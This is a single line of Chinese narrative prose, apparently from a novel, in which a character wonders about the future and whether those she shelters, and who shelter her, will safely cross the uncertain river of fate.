未来又在何处，她身边这些被她庇护也庇护着她的人，真的都能安然渡过命运未测的川流吗？